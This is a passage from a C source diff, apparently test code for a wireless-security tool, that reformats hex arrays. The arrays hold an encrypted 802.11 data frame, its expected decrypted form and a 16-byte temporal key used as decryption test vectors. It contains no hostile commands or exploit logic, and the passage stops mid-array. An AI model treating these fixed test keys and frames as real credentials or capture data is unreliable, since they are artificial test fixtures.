-    "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef"
-    "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00"
-    "\x95\xc3\x1e\x2d\x02\x01\x58\x9f\x4d\xeb\xe2\x27\xc4\xe9\xc2\x1d"
-    "\xb1\x2c\x7a\x66\x6a\x35\x80\x8a\xbe\x1e\x73\x8d\xab\x1d\xa3\x6b"
-    "\xa0\xf3\x16\x81\x70\x9a\x94\xf0\xb6\x53\x2c\xd6\x93\x5b\x14\x13"
-    "\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-    "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60"
-    "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4"
-    "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a"
-    "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2"
-    "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c"
-    "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b"
-    "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed"
-    "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d"
-    "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65"
-    "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6"
-    "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad"
-    "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e"
-    "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4"
-    "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85"
-    "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7"
-    "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c"
-    "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9"
-    "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2"
-    "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f"
-    "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6"
-    "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3"
-    "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a"
-    "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0"
-    "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36"
-    "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d"
-    "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0"
-    "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b"
-    "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31"
-    "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a"
-    "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6"
-    "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec"
-    "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6"
-    "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43"
-    "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27"
-    "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26"
-    "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46"
-    "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03"
-    "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7"
-    "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22"
-    "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55"
-    "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a"
-    "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2"
-    "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d"
-    "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f"
-    "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b"
-    "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60"
-    "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec"
-    "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c"
-    "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b"
-    "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0"
-    "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67"
-    "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb"
-    "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a"
-    "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac"
-    "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8"
-    "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d"
-    "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee"
-    "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f"
-    "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b"
-    "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36"
-    "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e"
-    "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d"
-    "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79"
-    "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0"
-    "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54"
-    "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95"
-    "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c"
-    "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf"
-    "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54"
-    "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb"
-    "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85"
-    "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a"
-    "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3"
-    "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21"
-    "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4"
-    "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d"
-    "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5"
-    "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f"
-    "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1"
-    "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62"
-    "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1"
-    "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48"
-    "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2"
-    "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b"
-    "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee"
-    "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a"
-    "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc"
-    "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf";
-    unsigned char expected[1496] =
-    "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef"
-    "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00"
-    "\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x21\x6a\x12\x00\x00"
-    "\x01\x01\xf7\x43\xac\x10\x00\x65\xac\x10\x00\x01\x08\x00\x26\x67"
-    "\x04\x00\x03\x00\x44\x48\x43\x50\x43\x34\x65\x66\x21\x68\xa8\xc7"
-    "\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-    "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60"
-    "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4"
-    "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a"
-    "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2"
-    "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c"
-    "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b"
-    "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed"
-    "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d"
-    "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65"
-    "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6"
-    "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad"
-    "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e"
-    "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4"
-    "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85"
-    "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7"
-    "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c"
-    "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9"
-    "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2"
-    "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f"
-    "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6"
-    "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3"
-    "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a"
-    "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0"
-    "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36"
-    "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d"
-    "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0"
-    "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b"
-    "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31"
-    "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a"
-    "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6"
-    "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec"
-    "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6"
-    "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43"
-    "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27"
-    "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26"
-    "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46"
-    "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03"
-    "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7"
-    "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22"
-    "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55"
-    "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a"
-    "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2"
-    "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d"
-    "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f"
-    "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b"
-    "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60"
-    "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec"
-    "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c"
-    "\x72\x22\x81\x4e\x9c\xa5\x3b\x6b\x03\x66\x45\x31\xe9\x40\x52\x3b"
-    "\x30\x37\x8c\xb1\xb9\xdb\xdd\x0f\xda\x23\x44\xb8\xd0\x67\x45\xf0"
-    "\x1f\x36\x81\x7b\xc5\x7a\x3d\x71\xe3\xe0\xcc\xe0\x43\x21\x42\x67"
-    "\xc7\x35\x75\x12\x43\x38\x7f\x20\x5b\xab\xda\x6c\xfc\x86\x08\xdb"
-    "\x05\xb8\x73\x2b\x37\x32\xeb\x86\xe0\x9d\xc4\xba\xcb\x19\x41\x5a"
-    "\xb0\xf7\xa8\x41\xb5\xd5\x84\x1a\x07\x78\x0d\x8a\x6c\x52\xb0\xac"
-    "\xaa\x7f\x36\x65\x21\x90\xf1\xf6\x04\x39\x57\x89\xfa\x8b\xbc\xf8"
-    "\x2f\x5a\xe6\x51\xe7\x48\x5f\xdb\x57\xfa\x2b\x85\x64\x74\xb0\x0d"
-    "\x83\x51\x31\x1e\x59\x8b\x5c\x9b\xb8\xc8\x09\x56\x1c\x40\x78\xee"
-    "\x8d\xd6\x69\xbd\x72\x5a\x51\xfb\x97\x03\x17\xe5\x14\xa6\xde\x2f"
-    "\x48\x5b\xf0\xe8\xec\xb2\x6a\x91\x59\x6a\x05\xcb\x4b\xe4\xd2\x9b"
-    "\x4c\xc6\x91\xf1\xe4\x04\xa0\xd3\xf6\xee\x2f\x45\xde\x11\x58\x36"
-    "\xff\x44\x75\x9f\x86\xf6\x09\x35\xba\xfe\x2d\x5c\x93\x80\x21\x3e"
-    "\xa0\xa8\x68\x39\x56\xa6\x23\xe9\x4a\x34\xd7\x67\x24\x5d\x56\x8d"
-    "\xa8\x43\x4d\xe5\xc7\x2a\xee\x36\x91\xec\x79\xbd\x10\x24\xe0\x79"
-    "\xc8\xca\xe9\xbb\x38\x81\x69\xd2\x35\x2c\xcf\x49\x20\x08\x73\xd0"
-    "\x98\x45\xda\x7a\xfd\x6f\xf6\x0c\xee\xbd\xcd\x7f\x48\x6e\xfd\x54"
-    "\xc4\xe3\x0b\xb8\x9a\xc0\xf1\x10\x14\xb7\x3c\x79\x0d\xd5\x9a\x95"
-    "\x56\x47\x8b\x94\xda\x01\xa8\x5a\x2a\xa0\x06\x66\xb7\x51\xe3\x7c"
-    "\x3a\xe6\x1e\x2a\x11\x17\x27\xb9\x37\x0c\xa3\x64\xf6\x29\x00\xdf"
-    "\xd8\x24\xe1\x18\x43\xc0\xbb\xd2\x7c\x50\x5d\xf3\x79\x4e\xd6\x54"
-    "\x93\x5e\x35\x88\xa6\x13\x1e\x98\x38\xa8\x73\xc9\xc6\x88\xc0\xdb"
-    "\x4c\xc8\xbc\x8c\x32\x41\x84\x57\x15\x33\x4b\x60\x7f\xb2\x3f\x85"
-    "\xfe\x5a\x5a\x9f\xf1\x9f\x6c\x76\x33\x41\x13\x8f\x90\x3f\x45\x5a"
-    "\xcc\x81\x03\xa5\x82\x5a\xca\xec\xae\x5b\xc8\x17\xc2\x18\x9b\xa3"
-    "\x99\x0e\x07\x4e\xd2\xa7\xa2\x5a\x24\xd4\xf2\x3a\x6e\x15\x1d\x21"
-    "\x21\x28\xd6\x62\xf6\x90\x80\xbb\xf4\xdb\xf9\x76\xb8\xd9\xeb\xb4"
-    "\xe5\x13\xb6\x1e\x42\x22\x7c\xc4\xdb\xff\xe8\xbb\xf2\xf1\xd3\x4d"
-    "\x18\xcf\xa8\xfd\xd7\xd0\x34\x24\xf2\x5d\xb2\x1c\x6a\x05\x07\xd5"
-    "\xc9\xff\xc0\xe2\x96\xa3\x68\x53\x3f\xba\x0e\x07\xbd\x37\xf7\x5f"
-    "\xae\x5d\x7c\x5e\x3b\x56\x1a\x51\xac\xa8\x46\x4a\x77\xc8\x6a\xc1"
-    "\x68\x49\x11\xa0\x47\x64\x1f\x75\x95\xf2\x26\xf1\x0e\x44\x0b\x62"
-    "\x8c\x81\x31\x75\x0b\xc0\x24\x64\x4b\xad\x2f\x19\x98\xad\x68\xc1"
-    "\xba\x71\xd2\xa1\xc4\xc7\xa9\x9e\xc8\xba\x5d\x9a\xe4\x0b\xd1\x48"
-    "\xb3\x27\xaa\xe7\xf1\x40\xb4\x28\x2d\xac\x38\x68\x14\xc8\xb8\xe2"
-    "\xd4\x4c\xd4\xfa\x2f\x69\x2b\xf5\xaf\x10\x3d\x13\x21\x26\x94\x0b"
-    "\x4c\xb2\x5f\x99\xac\x04\x88\x74\x43\x76\x75\x4c\x27\x5c\x36\xee"
-    "\x32\x75\x3e\x55\x38\xc7\xd5\x76\x9d\xbd\xfc\xa3\x55\x08\xbf\x3a"
-    "\xb3\x82\x89\xb3\x0d\x3e\x54\xbc\x30\xfa\xb7\xc3\xf9\x9f\xbe\xfc"
-    "\x87\x89\x3c\x6d\x0b\x69\x7b\xbf";
+	int error = 0;
 
+	int caplen1 = 81;
+	unsigned char tk1[16]
+		= "\x1d\x03\x5e\x8b\xeb\x4f\x83\x61\x1d\xc9\x3e\x26\x57\xce\xcf\x69";
+	unsigned char h80211[1496]
+		= "\x08\x41\x02\x01\x00\x0b\x86\xc2\xa4\x85\x00\x13\xce\x55\x98\xef"
+		  "\x00\x0f\x66\xe3\xe4\x01\x20\x2e\x01\x00\x00\x20\x00\x00\x00\x00"
+		  "\x95\xc3\x1e\x2d\x02\x01\x58\x9f\x4d\xeb\xe2\x27\xc4\xe9\xc2\x1d"
+		  "\xb1\x2c\x7a\x66\x6a\x35\x80\x8a\xbe\x1e\x73\x8d\xab\x1d\xa3\x6b"
+		  "\xa0\xf3\x16\x81\x70\x9a\x94\xf0\xb6\x53\x2c\xd6\x93\x5b\x14\x13"
+		  "\x59\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		  "\x00\x41\xe2\x61\x88\x6d\xb4\xde\x64\x11\x22\xc7\xc2\x24\x02\x60"
+		  "\x51\x00\x00\x30\x82\x09\x57\x76\x59\xa9\xd2\x35\x57\x73\x12\xc4"
+		  "\x69\x34\x0f\xd0\x2c\x1f\x55\xa9\xcf\x6a\xc3\x08\x03\x6f\xa1\x4a"
+		  "\x9e\xa6\xef\x71\x6d\xb6\x2f\xcc\x0c\xbb\x40\x6e\x90\x1d\x3e\xa2"
+		  "\x53\xf9\x26\x71\x65\x02\x47\xd1\xb6\xb1\x01\xd9\x48\x80\xcd\x6c"
+		  "\x65\x75\x5b\xf4\x95\x1a\x68\xae\xdf\x8b\x8d\xbb\x5f\x4f\xd5\x8b"
+		  "\x66\xb1\x3c\x72\x16\xe8\x5b\x70\x6f\x1b\xdd\xa7\x8a\xd8\x24\xed"
+		  "\xc9\x77\x1a\xa0\x74\x36\x3e\x70\x5b\x52\xbd\x7c\x11\x50\x60\x1d"
+		  "\x24\x85\x8b\x8a\xb3\x63\x5c\x5b\x09\x94\xaf\xa5\xe8\xc4\xae\x65"
+		  "\x92\xa8\x26\xfd\x28\x43\x37\x4c\x6d\x19\x79\x14\x95\x40\x5a\xf6"
+		  "\x98\xb7\xd7\x79\xfb\xfe\xbd\x0c\xc5\xf8\x77\xaf\x98\x9e\xf4\xad"
+		  "\xce\x40\xcc\x28\xeb\xc6\xa9\xd7\xf9\x98\xfc\xbb\xc3\x66\x94\x4e"
+		  "\xea\x6e\xdd\x30\x3b\x65\x6b\xfd\x05\xa8\x68\x2e\x7e\xaa\x43\xe4"
+		  "\x65\x26\x11\x83\x86\xe1\x68\x15\x90\xdf\x81\x5c\x01\xdf\x3d\x85"
+		  "\x56\x34\x14\x31\x2a\xbf\x6f\xb5\xd6\xcf\xbe\xe9\x07\xc9\x36\xe7"
+		  "\x31\x83\x5b\xfa\x4a\x29\x62\xfe\x76\x40\xed\x64\xb8\x2a\xc7\x3c"
+		  "\xb5\x76\xd9\x07\x2b\x3a\xde\xc1\xaa\xaa\xd5\x24\xbf\x74\x91\xd9"
+		  "\x1a\xb3\x93\x83\xda\xa6\xb0\xd2\xc7\xbe\x0c\xdd\x17\x87\xff\xa2"
+		  "\x21\x95\xe9\x08\x3b\x97\xde\x62\x3c\x17\x7c\xf1\xfc\x58\x21\x8f"
+		  "\x11\x28\x79\xed\x9e\xa5\x4a\xb3\x48\x8a\xf6\xcd\xd1\xb4\x54\xe6"
+		  "\xfc\x5b\x87\xd6\x81\x67\x14\x0a\xd4\x4e\xf6\x7a\x66\xc1\x87\xc3"
+		  "\x9e\xb0\xbe\x15\xb4\xb8\xca\x6a\x54\x80\x72\x23\xdf\x10\x70\x4a"
+		  "\xb5\x6b\xef\x56\x94\x96\xc0\x65\x79\x14\xc0\xc5\x88\x26\x52\xa0"
+		  "\x32\xd0\xe2\x2e\x9a\x31\x36\xf1\x4b\x29\x2e\x68\x6c\x07\x67\x36"
+		  "\xc0\x43\xe3\x95\xea\x90\xce\xe2\x2d\x34\x3d\x96\x29\x1f\xb4\x4d"
+		  "\x61\x8d\xd5\xdb\xde\xce\x65\xcc\xfc\x0e\x30\xa0\xfb\x92\xd2\xd0"
+		  "\xac\x9f\x6b\xe4\xf2\x2f\x86\xf6\x91\xd6\x18\x97\x68\x27\xd1\x4b"
+		  "\x4f\x92\xda\x63\x32\xbf\x0f\x95\x8a\x10\xb0\xc5\xc2\x5a\xa9\x31"
+		  "\x67\x8f\x23\x21\xc5\x96\x97\x2d\x14\x46\xbb\x3f\x82\x4a\x31\x0a"
+		  "\x6c\x0f\x21\xab\x52\x4b\x9c\x89\xdf\x00\xbb\x80\x4f\xa8\x78\xe6"
+		  "\x9b\x0a\x96\xb8\x81\x03\x74\x93\x32\xc8\x3a\x72\x31\x58\x72\xec"
+		  "\xab\x33\x60\xeb\x0c\xb4\x35\x7e\x40\x0c\x74\x24\xb1\xd9\x84\xc6"
+		  "\x3d\x88\x6f\x7d\x8c\xfd\xe2\x59\xb5\x24\xe1\x9b\xbf\x84\xf6\x43"
+		  "\x67\x95\x88\x52\x87\x82\x47\xc2\x3f\xae\x56\x2a\x31\xd9\x07\x27"
+		  "\x01\xc6\xef\x0a\x12\x38\x03\x93\x91\x9c\xaa\xc6\x14\x3a\x1b\x26"
+		  "\x6e\x16\x0b\xb1\xc1\xef\x8d\x0c\xa8\x82\xc4\x5a\x28\xd4\xd0\x46"
+		  "\x90\xc9\xbc\xac\x37\x68\x03\xbe\x6f\x4f\x60\x6f\xee\xb8\x34\x03"
+		  "\x3a\x7d\xd0\x9f\xc9\x8d\x95\xc1\x0f\x3d\xc8\xeb\x84\xfe\x42\xd7"
+		  "\xf2\xae\x14\xf0\x1b\xcf\x95\x23\x54\xb7\x2e\x68\x79\xe2\xf3\x22"
+		  "\xe7\x6f\x51\x5e\xa2\xe3\xd3\xb5\x6d\xea\x77\xc0\xb3\xbc\x4f\x55"
+		  "\xf2\x04\xc8\x63\x14\x8d\x17\xd6\x7f\x79\x8d\x95\xd3\x76\x35\x3a"
+		  "\x09\xe4\xb8\x08\xe1\xfb\xe1\xf5\xb7\xc4\x7a\x66\xfb\xe6\x59\xc2"
+		  "\x9b\x60\xc5\xe5\xb1\x47\xcc\x12\xdc\xb7\x1f\x9e\xb8\x55\xfb\x5d"
+		  "\x01\xcf\x69\x2a\x85\x55\x55\xe9\x67\x64\x39\x66\xda\xe0\x94\x7f"
+		  "\xe4\xd1\xd9\x3e\xbd\x54\x13\x1c\xd6\x49\xdd\x22\xdf\xba\xce\x0b"
+		  "\xc6\x09\x9f\x17\xea\xea\xdd\x90\x25\xec\xa4\xb1\x31\x79\x53\x60"
+		  "\x14\x17\xe3\xe0\x17\x35\x88\x71\xc6\xd5\xe1\x74\x4c\xd0\xb8\xec"
+		  "\xdd\xd2\x8f\x39\xe6\xb4\xe4\xfd\x39\xf0\x5b\x56\xce\xe5\x0d\x9c"
